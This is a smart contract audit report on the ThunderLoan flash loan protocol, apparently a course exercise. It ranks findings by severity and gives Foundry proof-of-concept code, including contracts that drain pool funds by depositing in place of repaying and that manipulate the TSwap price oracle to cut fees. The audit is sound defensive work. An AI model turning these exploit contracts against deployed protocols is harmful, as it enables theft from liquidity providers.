# Thunder Loan Audit Report

Version 1.0

*Luo Yingjie*

October 17, 2024

# Thunder Loan Audit Report

Luo Yingjie

October 17, 2024

Prepared by: Luo Yingjie Lead Auditors:

- Luo Yingjie

Assisting Auditors:

- None

## Table of Contents

- Table of Contents
- About LUO YINGJIE
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High

    * [H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate.
    * [H-2] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol
    * [H-3] By calling a flashLoan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay`, users can steal all funds from the protocol
  - Medium
    * [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks
    * [M-2]: Centralization Risk for trusted owners
  - Low
    * [L-1] Empty Function Body - Consider commenting why
    * [L-2] Initializers could be front-run
    * [L-3] Missing critial event emissions
  - Informational
    * [I-1] Poor Test Coverage
    * [I-2] Not using `__gap[50]` for future storage collision mitigation
    * [I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6
    * [I-4] Doesn't follow https://eips.ethereum.org/EIPS/eip-3156
  - Gas
    * [GAS-1] Using bools for storage incurs overhead
    * [GAS-2] Using **`private`** rather than **`public`** for constants, saves gas
    * [GAS-3] Unnecessary SLOAD when logging new exchange rate

## About LUO YINGJIE

LUO YINGJIE is a blockchain developer and security researcher. With massive experience in the blockchain, he has audited numerous projects and has a deep understanding of the blockchain ecosystem. ….(add more about the auditor)

## Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract. Please include this upgrade in scope of a security review.

## Disclaimer

The Luo Yingjie team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6

### Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

### Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

## Executive Summary

*Add some notes of how the audit went, types of issues found, etc.*

*We spend X hours with Y auditors using Z tools, etc.*

### Issues found

| Severity | Number of issues found |
|---|---|
| High | 3 |
| Medium | 2 |
| Low | 3 |
| Info | 4 |
| Gas Optimizations | 3 |
| Total | 15 |

## Findings

### High

#### [H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate.

**Description:**

In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give a liquidity providers.

However, the `deposit` function, updates this rate, without collecting any fees!

```
function deposit(
        IERC20 token,
        uint256 amount
    ) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) /
             exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

**Impact:**

There are several impacts to this bug:

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

**Proof of Concept:**

1. LP deposited
2. User takes out a flash loan
3. It's now impossible to redeem the LP tokens

PoC

Place the following into `ThunderLoadTest.t.sol`

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(
            tokenA,
            amountToBorrow
        );
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(
            address(mockFlashLoanReceiver),
            tokenA,
            amountToBorrow,
            ""
        );
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;

        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
        vm.stopPrank();
    }
```

**Recommended Mitigation:**

Remove the incorrectly updated exchange rate lines from the `deposit` function.

```
function deposit(
        IERC20 token,
        uint256 amount
    ) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) /
            exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

### [H-2] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

**Description:**

`ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the upgraded contract `ThunderLoanUpgraded,sol` has them in a different order:

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables, breaks the storage locations as well.

**Impact:**

After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`, this means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping with storage in the wrong storage slot.

**Proof of Concept:**

PoC

Place the following into `ThunderLoanTest.t.sol`

```
import {ThunderLoanUpgraded} from "../../src/upgradedProtocol/
   ThunderLoanUpgraded.sol";
.
.
.

 function testUpgradedBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = upgraded.getFee();
        vm.stopPrank();

        console.log("Fee Before Upgrade: ", feeBeforeUpgrade);
        console.log("Fee After Upgrade: ", feeAfterUpgrade);
        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

**Recommended Mitigation:**

If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank; // 0.3% ETH fee
+    uint256 private s_flashLoanFee; // 0.3% ETH fee
+    uint256 public constant FEE_PRECISION = 1e18;
```

### [H-3] By calling a flashLoan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay`, users can steal all funds from the protocol

**Proof of Concept:**

PoC

Place the following into `ThunderLoanTest.t.sol`

```
function testUseDepositInsteadOfRepayToStealFund()
        public
        setAllowedToken
        hasDeposits
```

```
    {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
            ));
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
            ;
        dor.redeemMoney();
        vm.stopPrank();

        assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
    }
```

Also place this contract into `ThunderLoanTest.t.sol`

```
contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    ) external returns (bool) {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}
```

## Medium

### [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

**Description:**

The TSwap protocol is a constant product formula based AMM. The price of a token is determined by how many reserves are on either side of the pool. Because of this, it's easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

**Impact:**

Liquidity providers will drastically reduced fees for providing liquidity.

**Proof of Concept:**

The following all happens in 1 transaction:

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
    1. User sells 1000 `tokenA`, tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
        1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper than the first.

```
  function getPriceInWeth(address token) public view returns (uint256)
     {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
           token);
        return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
           ();
    }
```

```
3. The user then repays the first flash loan, and then repays the
   second flash loan.
```

PoC

place the following into `ThunderLoanTest.t.sol`

```
function testOracleManipulation() public {
        // set up contracts
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
            ;

        // create a TSwap Dex between tokenA and WETH
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));

        thunderLoan.initialize(address(pf));

        // Fund TSwap

        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(
            100e18,
            100e18,
            100e18,
            block.timestamp
        );
        vm.stopPrank();

        // Fund ThunderLoan

        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);

        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();

        // We are going to take out 2 flash loans
        // 1. To nuke the price of tokenA/Weth on TSwap
        // 2. To show that doing so greatly reduces the fees we pay on
            ThunderLoan

        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
            100e18);
        console.log("Normal Fee Cost: ", normalFeeCost);
        // 0.296147410319118389

        uint256 amountToBorrow = 50e18;
        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
            (
            address(tswapPool),
            address(thunderLoan),
            address(thunderLoan.getAssetFromToken(tokenA))
        );

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
            ;
        vm.stopPrank();

        uint256 attackFee = flr.feeOne() + flr.feeTwo();
        // 0.214167600932190305
        console.log("Attack Fee Cost: ", attackFee);
        assert(attackFee < normalFeeCost);
    }
```

also this contract to `ThunderLoanTest.t.sol`

```
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(
        address _tswapPool,
        address _thunderLoan,
        address _repayAddress
    ) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
        attacked = false;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    ) external returns (bool) {
        if (!attacked) {
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(
                50e18,
                100e18,
                100e18
            );
            IERC20(token).approve(address(tswapPool), 50e18);
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(
                50e18,
                wethBought,
                block.timestamp
            );

            thunderLoan.flashloan(address(this), IERC20(token), amount, "");

            // IERC20(token).approve(address(thunderLoan), amount + fee);
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        } else {
            feeTwo = fee;
            // IERC20(token).approve(address(thunderLoan), amount + fee);
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        }
        return true;
    }
}
```

**Recommended Mitigation:**

Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

### [M-2]: Centralization Risk for trusted owners

**Description:**

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

**Impact:** Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

6 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 278

```
    ) external onlyOwner returns (AssetToken) {
```

- Found in src/protocol/ThunderLoan.sol Line: 319

```
    function updateFlashLoanFee(uint256 newFee) external onlyOwner
        {
```

- Found in src/protocol/ThunderLoan.sol Line: 350

```
    ) internal override onlyOwner {}
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 238

```
    function setAllowedToken(IERC20 token, bool allowed) external
        onlyOwner returns (AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 264

```
    function updateFlashLoanFee(uint256 newFee) external onlyOwner
        {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 287

```
    function _authorizeUpgrade(address newImplementation) internal
        override onlyOwner { }
```

## Low

### [L-1] Empty Function Body - Consider commenting why

*Instances (1)*:

```
File: src/protocol/ThunderLoan.sol

261:     function _authorizeUpgrade(address newImplementation) internal
    override onlyOwner { }
```

### [L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

*Instances (6)*:

```
File: src/protocol/OracleUpgradeable.sol

11:     function __Oracle_init(address poolFactoryAddress) internal
    onlyInitializing {
```

```
File: src/protocol/ThunderLoan.sol

138:     function initialize(address tswapAddress) external initializer
    {

138:     function initialize(address tswapAddress) external initializer
    {

139:         __Ownable_init();

140:         __UUPSUpgradeable_init();

141:         __Oracle_init(tswapAddress);
```

### [L-3] Missing critial event emissions

**Description:** When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

**Recommended Mitigation:** Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
+     event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```

## Informational

### [I-1] Poor Test Coverage

```
Running tests...
| File                              | % Lines        | % Statements
   | % Branches     | % Funcs        |
| --------------------------------- | -------------- | --------------
   | -------------- | -------------- |
| src/protocol/AssetToken.sol       | 70.00% (7/10)  | 76.92% (10/13)
   | 50.00% (1/2)   | 66.67% (4/6)   |
| src/protocol/OracleUpgradeable.sol | 100.00% (6/6)   | 100.00% (9/9)
    | 100.00% (0/0) | 80.00% (4/5)   |
| src/protocol/ThunderLoan.sol        | 64.52% (40/62) | 68.35% (54/79)
    | 37.50% (6/16) | 71.43% (10/14) |
```

#### [I-2] Not using `__gap[50]` for future storage collision mitigation

#### [I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6

#### [I-4] Doesn't follow https://eips.ethereum.org/EIPS/eip-3156

**Recommended Mitigation:** Aim to get test coverage up to over 90% for all files.

### Gas

#### [GAS-1] Using bools for storage incurs overhead

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

*Instances (1)*:

```
File: src/protocol/ThunderLoan.sol

98:     mapping(IERC20 token => bool currentlyFlashLoaning) private
    s_currentlyFlashLoaning;
```

#### [GAS-2] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

*Instances (3)*:

```
File: src/protocol/AssetToken.sol

25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
File: src/protocol/ThunderLoan.sol

95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

96:     uint256 public constant FEE_PRECISION = 1e18;
```

#### [GAS-3] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```
  s_exchangeRate = newExchangeRate;
- emit ExchangeRateUpdated(s_exchangeRate);
+ emit ExchangeRateUpdated(newExchangeRate);
```